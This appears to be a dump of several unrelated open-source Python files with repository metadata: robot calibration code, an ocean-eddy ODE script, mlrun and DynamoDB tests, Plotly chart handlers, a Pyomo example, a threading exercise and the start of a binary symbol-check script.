[',self.param_internal['pwm_theta'][1],']?' p=int(m3t.get_float(self.param_internal['pwm_theta'][1])) self.comp_rt.set_pwm(p) self.step() print 'Hit any key when motion done' raw_input() self.step() q_on_b=self.comp_ec.status.qei_on q_p_b=self.comp_ec.status.qei_period q_r_b=self.comp_ec.status.qei_rollover print 'Expected joint limits: ',self.param_internal['joint_limits'] print 'Enter theta (Deg)' theta_b=m3t.get_float() theta_as=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_a,q_p_a,q_r_a) theta_bs=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_b,q_p_b,q_r_b) self.comp_rt.set_mode_off() self.comp_ec.param.config=pconfig #enable qei limits self.step() self.proxy.make_safe_operational(self.name_rt) self.step() print 'Raw',[theta_as,theta_bs] print 'True',[theta_a,theta_b] poly,inv_poly=self.get_polyfit_to_data([theta_as,theta_bs],[theta_a,theta_b],n=1) self.comp_rt.config['calib']['theta']['cb_scale']=poly[0] self.comp_rt.config['calib']['theta']['cb_bias']=poly[1] theta_as=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_a,q_p_a,q_r_a) theta_bs=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_b,q_p_b,q_r_b) print 'New calibrated range',theta_as,theta_bs max_q=max(theta_as,theta_bs) min_q=min(theta_as,theta_bs) if self.comp_j is not None: print 'Setting joint limits to',min_q,max_q print 'Expected joint limits: ',self.param_internal['joint_limits'] self.comp_j.param.max_q=float(max_q) self.comp_j.param.min_q=float(min_q) else: print 'Joint component missing. Unable to set joint limits to',min_q,max_q

30.131488

109

0.643087

import time import numpy.numarray as na import math import os import sys import yaml import m3.unit_conversion as m3u from m3qa.calibrate import * from m3qa.calibrate_sensors import * from m3qa.calibrate_actuator_ec_r1 import * import m3.actuator_ec_pb2 as aec

false

true

f7f3457c79a9baf5b6e3c0fe05fce738349c8dac

1,112

py

Python

eddy_airsea/analysis/ode_wave.py

bderembl/mitgcm_configs

8aa0343fc56e9da831e7a8b857838c4f4a76aa9a

[ "MIT" ]

1

2020-01-13T05:18:38.000Z

eddy_airsea/analysis/ode_wave.py

bderembl/mitgcm_configs

8aa0343fc56e9da831e7a8b857838c4f4a76aa9a

[ "MIT" ]

null

eddy_airsea/analysis/ode_wave.py

bderembl/mitgcm_configs

8aa0343fc56e9da831e7a8b857838c4f4a76aa9a

[ "MIT" ]

5

2018-04-10T15:18:39.000Z

2020-12-01T02:05:37.000Z

#!/usr/bin/env python import numpy as np import matplotlib.pyplot as plt import scipy.integrate as integrate plt.ion() f0 = 1e-4 u0 = 1.0 R0 = 40e3 # radius vmax = -1.0 # m/s def v1(rr): v = -vmax*rr/R0*np.exp(-0.5*(rr/R0)**2) # v = -vmax*np.tanh(rr/R0)/(np.cosh(rr/R0))**2/(np.tanh(1.0)/(np.cosh(1.0))**2) return v def dv1(rr): v = -vmax/R0*np.exp(-0.5*(rr/R0)**2)*(1-(rr/R0)**2) # v = -vmax*2/R0*np.tanh(rr/R0)/((np.cosh(rr/R0))**2)*(1/(np.cosh(rr/R0))**2 - (np.tanh(rr/R0))**2)/(np.tanh(1.0)/(np.cosh(1.0))**2) return v def f(r, t): omega = np.sqrt((dv1(r)+v1(r)/r + f0)*(2*v1(r)/r + f0)) return u0*np.sin(omega*t) si_r = 30 si_t = 30000 r0 = np.linspace(1,5*R0,si_r) t = np.linspace(0, si_t/f0/1000, si_t) ra = np.zeros((si_t,si_r)) for ni in range(0,si_r): ra[:,ni] = integrate.odeint(f, r0[ni], t).squeeze() plt.figure() plt.plot(t*f0/(2*np.pi),ra/R0,'k',linewidth=1) plt.xlabel(r'$tf/2\pi$') plt.ylabel(r'$r_p/R_0$') plt.xlim([np.min(t*f0/(2*np.pi)), np.max(t*f0/(2*np.pi))]) plt.ylim([np.min(ra/R0), 1.05*np.max(ra/R0)]) plt.savefig("ode_k0.pdf",bbox_inches='tight')

23.659574

133

0.589928

import numpy as np import matplotlib.pyplot as plt import scipy.integrate as integrate plt.ion() f0 = 1e-4 u0 = 1.0 R0 = 40e3 vmax = -1.0 def v1(rr): v = -vmax*rr/R0*np.exp(-0.5*(rr/R0)**2) return v def dv1(rr): v = -vmax/R0*np.exp(-0.5*(rr/R0)**2)*(1-(rr/R0)**2) return v def f(r, t): omega = np.sqrt((dv1(r)+v1(r)/r + f0)*(2*v1(r)/r + f0)) return u0*np.sin(omega*t) si_r = 30 si_t = 30000 r0 = np.linspace(1,5*R0,si_r) t = np.linspace(0, si_t/f0/1000, si_t) ra = np.zeros((si_t,si_r)) for ni in range(0,si_r): ra[:,ni] = integrate.odeint(f, r0[ni], t).squeeze() plt.figure() plt.plot(t*f0/(2*np.pi),ra/R0,'k',linewidth=1) plt.xlabel(r'$tf/2\pi$') plt.ylabel(r'$r_p/R_0$') plt.xlim([np.min(t*f0/(2*np.pi)), np.max(t*f0/(2*np.pi))]) plt.ylim([np.min(ra/R0), 1.05*np.max(ra/R0)]) plt.savefig("ode_k0.pdf",bbox_inches='tight')

true

f7f34588564a9e9b043564e4479eaefdc7175294

3,977

py

Python

tests/api/api/test_operations.py

jillnogold/mlrun

beff7da359b697156890e4eb45cb9a1bc9f16631

[ "Apache-2.0" ]

null

tests/api/api/test_operations.py

jillnogold/mlrun

beff7da359b697156890e4eb45cb9a1bc9f16631

[ "Apache-2.0" ]

null

tests/api/api/test_operations.py

jillnogold/mlrun

beff7da359b697156890e4eb45cb9a1bc9f16631

[ "Apache-2.0" ]

null

import http import fastapi.testclient import pytest import sqlalchemy.orm import mlrun import mlrun.api.api.endpoints.operations import mlrun.api.crud import mlrun.api.initial_data import mlrun.api.schemas import mlrun.api.utils.clients.iguazio import mlrun.api.utils.singletons.scheduler import mlrun.errors import mlrun.runtimes from mlrun.utils import logger def test_migrations_already_in_progress( db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient ) -> None: background_task_name = "some-name" mlrun.api.api.endpoints.operations.current_migration_background_task_name = ( background_task_name ) mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_in_progress response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.ACCEPTED.value background_task = mlrun.api.schemas.BackgroundTask(**response.json()) assert background_task_name == background_task.metadata.name mlrun.api.api.endpoints.operations.current_migration_background_task_name = None def test_migrations_failed( db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient ) -> None: mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_failed response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value assert "Migrations were already triggered and failed" in response.text def test_migrations_not_needed( db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient ) -> None: mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.online response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.OK.value def _mock_migration_process(*args, **kwargs): logger.info("Mocking migration process") mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_completed @pytest.fixture def _mock_waiting_for_migration(): mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.waiting_for_migrations def test_migrations_success( # db calls init_data with from_scratch=True which means it will anyways do the migrations # therefore in order to make the api to be started as if its in a state where migrations are needed # we just add a middle fixture that sets the state db: sqlalchemy.orm.Session, _mock_waiting_for_migration, client: fastapi.testclient.TestClient, ) -> None: original_init_data = mlrun.api.initial_data.init_data mlrun.api.initial_data.init_data = _mock_migration_process response = client.get("projects") # error cause we're waiting for migrations assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value assert "API is waiting for migrations to be triggered" in response.text # not initialized until we're not doing migrations assert mlrun.api.utils.singletons.scheduler.get_scheduler() is None # trigger migrations response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.ACCEPTED.value background_task = mlrun.api.schemas.BackgroundTask(**response.json()) assert background_task.status.state == mlrun.api.schemas.BackgroundTaskState.running response = client.get(f"background-tasks/{background_task.metadata.name}") assert response.status_code == http.HTTPStatus.OK.value background_task = mlrun.api.schemas.BackgroundTask(**response.json()) assert ( background_task.status.state == mlrun.api.schemas.BackgroundTaskState.succeeded ) assert mlrun.mlconf.httpdb.state == mlrun.api.schemas.APIStates.online # now we should be able to get projects response = client.get("projects") assert response.status_code == http.HTTPStatus.OK.value # should be initialized assert mlrun.api.utils.singletons.scheduler.get_scheduler() is not None # tear down mlrun.api.initial_data.init_data = original_init_data

41

103

0.775459

import http import fastapi.testclient import pytest import sqlalchemy.orm import mlrun import mlrun.api.api.endpoints.operations import mlrun.api.crud import mlrun.api.initial_data import mlrun.api.schemas import mlrun.api.utils.clients.iguazio import mlrun.api.utils.singletons.scheduler import mlrun.errors import mlrun.runtimes from mlrun.utils import logger def test_migrations_already_in_progress( db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient ) -> None: background_task_name = "some-name" mlrun.api.api.endpoints.operations.current_migration_background_task_name = ( background_task_name ) mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_in_progress response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.ACCEPTED.value background_task = mlrun.api.schemas.BackgroundTask(**response.json()) assert background_task_name == background_task.metadata.name mlrun.api.api.endpoints.operations.current_migration_background_task_name = None def test_migrations_failed( db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient ) -> None: mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_failed response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value assert "Migrations were already triggered and failed" in response.text def test_migrations_not_needed( db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient ) -> None: mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.online response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.OK.value def _mock_migration_process(*args, **kwargs): logger.info("Mocking migration process") mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_completed @pytest.fixture def _mock_waiting_for_migration(): mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.waiting_for_migrations def test_migrations_success( db: sqlalchemy.orm.Session, _mock_waiting_for_migration, client: fastapi.testclient.TestClient, ) -> None: original_init_data = mlrun.api.initial_data.init_data mlrun.api.initial_data.init_data = _mock_migration_process response = client.get("projects") assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value assert "API is waiting for migrations to be triggered" in response.text # not initialized until we're not doing migrations assert mlrun.api.utils.singletons.scheduler.get_scheduler() is None response = client.post("operations/migrations") assert response.status_code == http.HTTPStatus.ACCEPTED.value background_task = mlrun.api.schemas.BackgroundTask(**response.json()) assert background_task.status.state == mlrun.api.schemas.BackgroundTaskState.running response = client.get(f"background-tasks/{background_task.metadata.name}") assert response.status_code == http.HTTPStatus.OK.value background_task = mlrun.api.schemas.BackgroundTask(**response.json()) assert ( background_task.status.state == mlrun.api.schemas.BackgroundTaskState.succeeded ) assert mlrun.mlconf.httpdb.state == mlrun.api.schemas.APIStates.online response = client.get("projects") assert response.status_code == http.HTTPStatus.OK.value assert mlrun.api.utils.singletons.scheduler.get_scheduler() is not None mlrun.api.initial_data.init_data = original_init_data

true

f7f3462f4e530284b4f1082f46efb5c0b38bdd77

209

py

Python

Week 7/network programs/thread.py

bpgc-cte/python2017

c1eed0201039c6b4daf857dd1f08c47a7b1e3f45

[ "MIT" ]

23

2017-09-02T08:15:17.000Z

2019-11-20T04:30:52.000Z

Week 7/network programs/thread.py

carlosal1015/python2017

c1eed0201039c6b4daf857dd1f08c47a7b1e3f45

[ "MIT" ]

2

2017-08-24T06:53:33.000Z

2017-08-24T06:54:42.000Z

Week 7/network programs/thread.py

bpgc-cte/python2017

c1eed0201039c6b4daf857dd1f08c47a7b1e3f45

[ "MIT" ]

22

2017-08-22T08:01:09.000Z

2019-11-20T04:30:56.000Z

from threading import * import time def lift_off(number): for i in range(10,0): print("#"+ i + "("+ number+ ")") for x in range(3): Thread(target=lift_off, args=(x,)).start() time.sleep(10)

17.416667

46

0.598086

from threading import * import time def lift_off(number): for i in range(10,0): print("#"+ i + "("+ number+ ")") for x in range(3): Thread(target=lift_off, args=(x,)).start() time.sleep(10)

true

f7f346fe2dec4989a51725aaf43d16e9bed65d3c

2,276

py

Python

tests/app/storage/test_dynamodb.py

ons-eq-team/eq-questionnaire-runner

8d029097faa2b9d53d9621064243620db60c62c7

[ "MIT" ]

null

tests/app/storage/test_dynamodb.py

ons-eq-team/eq-questionnaire-runner

8d029097faa2b9d53d9621064243620db60c62c7

[ "MIT" ]

null

tests/app/storage/test_dynamodb.py

ons-eq-team/eq-questionnaire-runner

8d029097faa2b9d53d9621064243620db60c62c7

[ "MIT" ]

null

import boto3 from flask import current_app from moto import mock_dynamodb2 from app.data_model.app_models import QuestionnaireState from app.storage.dynamodb import TABLE_CONFIG, DynamodbStorage from app.storage.errors import ItemAlreadyExistsError from tests.app.app_context_test_case import AppContextTestCase class TestDynamo(AppContextTestCase): def setUp(self): self._ddb = mock_dynamodb2() self._ddb.start() super().setUp() client = boto3.resource("dynamodb", endpoint_url=None) self.ddb = DynamodbStorage(client) for config in TABLE_CONFIG.values(): table_name = current_app.config[config["table_name_key"]] if table_name: client.create_table( # pylint: disable=no-member TableName=table_name, AttributeDefinitions=[ {"AttributeName": config["key_field"], "AttributeType": "S"} ], KeySchema=[ {"AttributeName": config["key_field"], "KeyType": "HASH"} ], ProvisionedThroughput={ "ReadCapacityUnits": 1, "WriteCapacityUnits": 1, }, ) def tearDown(self): super().tearDown() self._ddb.stop() def test_get_update(self): self._assert_item(None) self._put_item(1) self._assert_item(1) self._put_item(2) self._assert_item(2) def test_dont_overwrite(self): self._put_item(1) with self.assertRaises(ItemAlreadyExistsError): self._put_item(1, overwrite=False) def test_delete(self): self._put_item(1) self._assert_item(1) model = QuestionnaireState("someuser", "data", 1) self.ddb.delete(model) self._assert_item(None) def _assert_item(self, version): item = self.ddb.get_by_key(QuestionnaireState, "someuser") actual_version = item.version if item else None self.assertEqual(actual_version, version) def _put_item(self, version, overwrite=True): model = QuestionnaireState("someuser", "data", version) self.ddb.put(model, overwrite)

32.514286

84

0.605448

import boto3 from flask import current_app from moto import mock_dynamodb2 from app.data_model.app_models import QuestionnaireState from app.storage.dynamodb import TABLE_CONFIG, DynamodbStorage from app.storage.errors import ItemAlreadyExistsError from tests.app.app_context_test_case import AppContextTestCase class TestDynamo(AppContextTestCase): def setUp(self): self._ddb = mock_dynamodb2() self._ddb.start() super().setUp() client = boto3.resource("dynamodb", endpoint_url=None) self.ddb = DynamodbStorage(client) for config in TABLE_CONFIG.values(): table_name = current_app.config[config["table_name_key"]] if table_name: client.create_table( TableName=table_name, AttributeDefinitions=[ {"AttributeName": config["key_field"], "AttributeType": "S"} ], KeySchema=[ {"AttributeName": config["key_field"], "KeyType": "HASH"} ], ProvisionedThroughput={ "ReadCapacityUnits": 1, "WriteCapacityUnits": 1, }, ) def tearDown(self): super().tearDown() self._ddb.stop() def test_get_update(self): self._assert_item(None) self._put_item(1) self._assert_item(1) self._put_item(2) self._assert_item(2) def test_dont_overwrite(self): self._put_item(1) with self.assertRaises(ItemAlreadyExistsError): self._put_item(1, overwrite=False) def test_delete(self): self._put_item(1) self._assert_item(1) model = QuestionnaireState("someuser", "data", 1) self.ddb.delete(model) self._assert_item(None) def _assert_item(self, version): item = self.ddb.get_by_key(QuestionnaireState, "someuser") actual_version = item.version if item else None self.assertEqual(actual_version, version) def _put_item(self, version, overwrite=True): model = QuestionnaireState("someuser", "data", version) self.ddb.put(model, overwrite)

true

f7f349a8472d44fb90c80dbf5faf8f148bc1d6b7

7,696

py

Python

src/visualizations/plotly.py

uts-cic/ontask_b

b313e2352c77b40655f41dd5acba3a7635e6f3b3

[ "MIT" ]

null

src/visualizations/plotly.py

uts-cic/ontask_b

b313e2352c77b40655f41dd5acba3a7635e6f3b3

[ "MIT" ]

null

src/visualizations/plotly.py

uts-cic/ontask_b

b313e2352c77b40655f41dd5acba3a7635e6f3b3

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Implementation of visualizations using the Plotly JS libarry """ from __future__ import unicode_literals, print_function import json from dataops import pandas_db from . import VisHandler class PlotlyHandler(VisHandler): """ Handler to produce Plotly visualizations. """ head_scripts = ["https://cdn.plot.ly/plotly-latest.min.js"] html_skel = """<div id="{id}" style="{style}"></div> <script> Plotly.newPlot('{id}', {data}, {layout}, {{displaylogo: false}}); </script>""" def __init__(self, data, *args, **kwargs): super(PlotlyHandler, self).__init__(data, *args, **kwargs) self.format_dict = { 'style': '' } self.layout = {'margin': {'l': 35, 'r': 35, 't': 35, 'b': 35}} def get_engine_scripts(self, current): """ Return the HTML HEAD snippet including whatever <scripts> are required :return: String to include in HEAD """ for script in self.head_scripts: if script not in current: current.append(script) return current def render(self): """ Return the rendering in HTML fo this visualization :param args: :param kwargs: :return: String as HTML snippet """ return self.html_content class PlotlyBoxPlot(PlotlyHandler): """ Create a boxplot with a given data frame column """ def __init__(self, data, *args, **kwargs): super(PlotlyBoxPlot, self).__init__(data, *args, **kwargs) self.format_dict['id'] = 'boxplot-id' # Transfer the keys to the formatting dictionary for key, value in kwargs.pop('context', {}).items(): self.format_dict[key] = value data = [] for column in self.data.columns: data.append( {'y': list(self.data[column].dropna()), 'name': column, 'type': 'box'} ) # If an individual value has been given, add the annotation and the # layout to the rendering. if self.format_dict.get('individual_value', None) is not None: self.layout['annotations'] = [{ 'bgcolor': 'white', 'x': 0, 'y': self.format_dict['individual_value'], 'ax': 0, 'ay': 0, 'xref': 'x', 'yref': 'y', 'text': self.format_dict.get('individual_text', 'Your value') }] # Get the two custom values from the given parameters. self.layout['annotations'][0]['y'] = \ self.format_dict['individual_value'] self.layout['annotations'][0]['text'] = \ self.format_dict.get('individual_text', 'Your value') # Redefine the layout self.format_dict['layout'] = json.dumps(self.layout) self.format_dict['data'] = json.dumps(data) self.html_content = '' if self.format_dict.get('title', None): self.html_content = self.format_dict['title'] self.html_content += self.html_skel.format(**self.format_dict) # If a title is given, place it in front of the widget def get_id(self): """ Return the name of this handler :return: string with the name """ return self.format_dict['id'] class PlotlyColumnHistogram(PlotlyHandler): """ Create a histogram """ def __init__(self, data, *args, **kwargs): super(PlotlyColumnHistogram, self).__init__(data, *args, **kwargs) self.format_dict['id'] = 'histogram-id' self.layout.update({'autobinx': True, 'autobiny': True, 'bargap': 0.01, 'yaxis': {'title': 'Count'}}) # Transfer the keys to the formatting dictionary for key, value in kwargs.pop('context', {}).items(): self.format_dict[key] = value data = [] for column in self.data.columns: column_dtype = \ pandas_db.pandas_datatype_names[self.data[column].dtype.name] data_list = self.data[column].dropna().tolist() # Special case for bool and datetime. Turn into strings to be # treated as such if column_dtype == 'boolean' or column_dtype == 'datetime': data_list = [str(x) for x in data_list] data.append( {'x': data_list, 'autobinx': True, 'histnorm': 'count', 'name': column, 'type': 'histogram'} ) self.format_dict['data'] = json.dumps(data) # If an individual value has been given, add the annotation and the # layout to the rendering. if self.format_dict.get('individual_value', None) is not None: ival = self.format_dict['individual_value'] if column_dtype == 'boolean' or column_dtype == 'datetime': ival = str(ival) self.layout['annotations'] = [{ 'bgcolor': 'white', 'x': ival, 'ax': 0, 'axref': 'pixel', 'y': 0, 'yref': 'paper', 'yshift': 'bottom', 'text': self.format_dict.get('individual_text', 'Your value') }] self.format_dict['layout'] = json.dumps(self.layout) self.html_content = '' if self.format_dict.get('title', None): self.html_content = self.format_dict['title'] self.html_content += self.html_skel.format(**self.format_dict) def get_id(self): """ Return the name of this handler :return: string with the name """ return self.format_dict['id'] class PlotlyGauge(PlotlyHandler): """ Create a gauge pointing to a value """ # FIX FIX FIX format_dict = { 'id': 'histogram-id', 'data': "[{ y: [], type: 'histogram'}]", 'layout': "{}" } # FIX FIX FIX layout = { 'shapes': [{ 'type': 'path', 'path': None, 'fillcolor': '850000', 'line': {'color': '850000'} }], 'title': 'Gauge Speed 0 - 100', 'height': 400, 'width': 400, 'xaxis': { 'zeroline': False, 'showticklabels': False, 'showgrid': False, 'range': [-1, 1]}, 'yaxis': { 'zeroline': False, 'showticklabels': False, 'showgrid': False, 'range': [-1, 1]} } def __init__(self, data, *args, **kwargs): # Transfer the keys to the formatting dictionary for key, value in kwargs.pop('context', {}).items(): self.format_dict[key] = value super(PlotlyGauge, self).__init__(data, *args, **kwargs) data = [] for column in self.data.columns: data.append( {'x': list(self.data[column].dropna()), 'autobinx': True, 'histnorm': 'count', 'name': column, 'type': 'histogram'} ) self.format_dict['data'] = json.dumps(data) self.layout['bargap'] = 0.01 self.layout['yaxis'] = {'title': 'Count'} self.format_dict['layout'] = json.dumps(self.layout) self.html_content = self.html_skel.format(**self.format_dict) def get_id(self): """ Return the name of this handler :return: string with the name """ return self.format_dict['id']

29.714286

78

0.525598

from __future__ import unicode_literals, print_function import json from dataops import pandas_db from . import VisHandler class PlotlyHandler(VisHandler): head_scripts = ["https://cdn.plot.ly/plotly-latest.min.js"] html_skel = """<div id="{id}" style="{style}"></div> <script> Plotly.newPlot('{id}', {data}, {layout}, {{displaylogo: false}}); </script>""" def __init__(self, data, *args, **kwargs): super(PlotlyHandler, self).__init__(data, *args, **kwargs) self.format_dict = { 'style': '' } self.layout = {'margin': {'l': 35, 'r': 35, 't': 35, 'b': 35}} def get_engine_scripts(self, current): for script in self.head_scripts: if script not in current: current.append(script) return current def render(self): return self.html_content class PlotlyBoxPlot(PlotlyHandler): def __init__(self, data, *args, **kwargs): super(PlotlyBoxPlot, self).__init__(data, *args, **kwargs) self.format_dict['id'] = 'boxplot-id' for key, value in kwargs.pop('context', {}).items(): self.format_dict[key] = value data = [] for column in self.data.columns: data.append( {'y': list(self.data[column].dropna()), 'name': column, 'type': 'box'} ) if self.format_dict.get('individual_value', None) is not None: self.layout['annotations'] = [{ 'bgcolor': 'white', 'x': 0, 'y': self.format_dict['individual_value'], 'ax': 0, 'ay': 0, 'xref': 'x', 'yref': 'y', 'text': self.format_dict.get('individual_text', 'Your value') }] self.layout['annotations'][0]['y'] = \ self.format_dict['individual_value'] self.layout['annotations'][0]['text'] = \ self.format_dict.get('individual_text', 'Your value') self.format_dict['layout'] = json.dumps(self.layout) self.format_dict['data'] = json.dumps(data) self.html_content = '' if self.format_dict.get('title', None): self.html_content = self.format_dict['title'] self.html_content += self.html_skel.format(**self.format_dict) def get_id(self): return self.format_dict['id'] class PlotlyColumnHistogram(PlotlyHandler): def __init__(self, data, *args, **kwargs): super(PlotlyColumnHistogram, self).__init__(data, *args, **kwargs) self.format_dict['id'] = 'histogram-id' self.layout.update({'autobinx': True, 'autobiny': True, 'bargap': 0.01, 'yaxis': {'title': 'Count'}}) for key, value in kwargs.pop('context', {}).items(): self.format_dict[key] = value data = [] for column in self.data.columns: column_dtype = \ pandas_db.pandas_datatype_names[self.data[column].dtype.name] data_list = self.data[column].dropna().tolist() if column_dtype == 'boolean' or column_dtype == 'datetime': data_list = [str(x) for x in data_list] data.append( {'x': data_list, 'autobinx': True, 'histnorm': 'count', 'name': column, 'type': 'histogram'} ) self.format_dict['data'] = json.dumps(data) if self.format_dict.get('individual_value', None) is not None: ival = self.format_dict['individual_value'] if column_dtype == 'boolean' or column_dtype == 'datetime': ival = str(ival) self.layout['annotations'] = [{ 'bgcolor': 'white', 'x': ival, 'ax': 0, 'axref': 'pixel', 'y': 0, 'yref': 'paper', 'yshift': 'bottom', 'text': self.format_dict.get('individual_text', 'Your value') }] self.format_dict['layout'] = json.dumps(self.layout) self.html_content = '' if self.format_dict.get('title', None): self.html_content = self.format_dict['title'] self.html_content += self.html_skel.format(**self.format_dict) def get_id(self): return self.format_dict['id'] class PlotlyGauge(PlotlyHandler): format_dict = { 'id': 'histogram-id', 'data': "[{ y: [], type: 'histogram'}]", 'layout': "{}" } layout = { 'shapes': [{ 'type': 'path', 'path': None, 'fillcolor': '850000', 'line': {'color': '850000'} }], 'title': 'Gauge Speed 0 - 100', 'height': 400, 'width': 400, 'xaxis': { 'zeroline': False, 'showticklabels': False, 'showgrid': False, 'range': [-1, 1]}, 'yaxis': { 'zeroline': False, 'showticklabels': False, 'showgrid': False, 'range': [-1, 1]} } def __init__(self, data, *args, **kwargs): for key, value in kwargs.pop('context', {}).items(): self.format_dict[key] = value super(PlotlyGauge, self).__init__(data, *args, **kwargs) data = [] for column in self.data.columns: data.append( {'x': list(self.data[column].dropna()), 'autobinx': True, 'histnorm': 'count', 'name': column, 'type': 'histogram'} ) self.format_dict['data'] = json.dumps(data) self.layout['bargap'] = 0.01 self.layout['yaxis'] = {'title': 'Count'} self.format_dict['layout'] = json.dumps(self.layout) self.html_content = self.html_skel.format(**self.format_dict) def get_id(self): return self.format_dict['id']

true

f7f34a3003c9e3abf00fa4b7f691d3d879b03c4e

838

py

Python

examples/pyomo/facility_location/pmedian_api.py

Fuinn/mos-examples

e7badef779f0918c6d09a52db00eb8f890234b57

[ "BSD-3-Clause" ]

2

2022-03-06T18:39:14.000Z

2022-03-08T08:44:37.000Z

examples/pyomo/facility_location/pmedian_api.py

Fuinn/mos-examples

e7badef779f0918c6d09a52db00eb8f890234b57

[ "BSD-3-Clause" ]

null

examples/pyomo/facility_location/pmedian_api.py

Fuinn/mos-examples

e7badef779f0918c6d09a52db00eb8f890234b57

[ "BSD-3-Clause" ]

null

from dotenv import load_dotenv, find_dotenv load_dotenv(find_dotenv()) from mos.interface import Interface # Interface interface = Interface() # Delete model interface.delete_model_with_name('Facility Location') # New model model = interface.new_model('./examples/pyomo/facility_location/pmedian.py') # Get model by name model = interface.get_model_with_name('Facility Location') # Set inputs model.set_interface_file('data', './examples/pyomo/facility_location/pmedian.dat') assert(model.get_system() == 'pyomo') assert(model.get_status() == 'created') # Run model.run() assert(model.get_status() == 'success') assert(len(model.get_execution_log()) > 0) print(model.get_execution_log()) # Function obj = model.get_function_state('cost', 'value') print('objective value: ', obj) assert(isinstance(obj, float)) # Constraint

20.439024

82

0.75895

from dotenv import load_dotenv, find_dotenv load_dotenv(find_dotenv()) from mos.interface import Interface interface = Interface() interface.delete_model_with_name('Facility Location') model = interface.new_model('./examples/pyomo/facility_location/pmedian.py') model = interface.get_model_with_name('Facility Location') model.set_interface_file('data', './examples/pyomo/facility_location/pmedian.dat') assert(model.get_system() == 'pyomo') assert(model.get_status() == 'created') model.run() assert(model.get_status() == 'success') assert(len(model.get_execution_log()) > 0) print(model.get_execution_log()) obj = model.get_function_state('cost', 'value') print('objective value: ', obj) assert(isinstance(obj, float))

true

f7f34a85dc6c2816ba4ca27080ecae75e0518578

8,898

py

Python

contrib/devtools/symbol-check.py

Garlic-HM/garliccoin

9eefb7a2a8c7cccfbc833756c7b16bc181473b6d

[ "MIT" ]

null

contrib/devtools/symbol-check.py

Garlic-HM/garliccoin

9eefb7a2a8c7cccfbc833756c7b16bc181473b6d

[ "MIT" ]

null

contrib/devtools/symbol-check.py

Garlic-HM/garliccoin

9eefb7a2a8c7cccfbc833756c7b16bc181473b6d

[ "MIT" ]

null

#!/usr/bin/env python3 # Copyright (c) 2014 Wladimir J. van der Laan # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' A script to check that the executables produced by gitian only contain certain symbols and are only linked against allowed libraries. Example usage: find ../gitian-builder/build -type f -executable | xargs python3 contrib/devtools/symbol-check.py ''' import subprocess import sys import os from typing import List, Optional import lief import pixie # Debian 8 (Jessie) EOL: 2020. https://wiki.debian.org/DebianReleases#Production_Releases # # - g++ version 4.9.2 (https://packages.debian.org/search?suite=jessie&arch=any&searchon=names&keywords=g%2B%2B) # - libc version 2.19 (https://packages.debian.org/search?suite=jessie&arch=any&searchon=names&keywords=libc6) # # Ubuntu 16.04 (Xenial) EOL: 2024. https://wiki.ubuntu.com/Releases # # - g++ version 5.3.1 (https://packages.ubuntu.com/search?keywords=g%2B%2B&searchon=names&suite=xenial&section=all) # - libc version 2.23.0 (https://packages.ubuntu.com/search?keywords=libc6&searchon=names&suite=xenial&section=all) # # CentOS 7 EOL: 2024. https://wiki.centos.org/FAQ/General # # - g++ version 4.8.5 (http://mirror.centos.org/centos/7/os/x86_64/Packages/) # - libc version 2.17 (http://mirror.centos.org/centos/7/os/x86_64/Packages/) # # Taking the minimum of these as our target. # # According to GNU ABI document (https://gcc.gnu.org/onlinedocs/libstdc++/manual/abi.html) this corresponds to: # GCC 4.8.5: GCC_4.8.0 # (glibc) GLIBC_2_17 # MAX_VERSIONS = { 'GCC': (4,8,0), 'GLIBC': (2,17), 'LIBATOMIC': (1,0) } # See here for a description of _IO_stdin_used: # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=634261#109 # Ignore symbols that are exported as part of every executable IGNORE_EXPORTS = { '_edata', '_end', '__end__', '_init', '__bss_start', '__bss_start__', '_bss_end__', '__bss_end__', '_fini', '_IO_stdin_used', 'stdin', 'stdout', 'stderr', 'environ', '_environ', '__environ', } CPPFILT_CMD = os.getenv('CPPFILT', '/usr/bin/c++filt') # Allowed NEEDED libraries ELF_ALLOWED_LIBRARIES = { # garliccoind and garliccoin-qt 'libgcc_s.so.1', # GCC base support 'libc.so.6', # C library 'libpthread.so.0', # threading 'libm.so.6', # math library 'librt.so.1', # real-time (clock) 'libatomic.so.1', 'ld-linux-x86-64.so.2', # 64-bit dynamic linker 'ld-linux.so.2', # 32-bit dynamic linker 'ld-linux-aarch64.so.1', # 64-bit ARM dynamic linker 'ld-linux-armhf.so.3', # 32-bit ARM dynamic linker 'ld64.so.1', # POWER64 ABIv1 dynamic linker 'ld64.so.2', # POWER64 ABIv2 dynamic linker 'ld-linux-riscv64-lp64d.so.1', # 64-bit RISC-V dynamic linker # garliccoin-qt only 'libxcb.so.1', # part of X11 'libxkbcommon.so.0', # keyboard keymapping 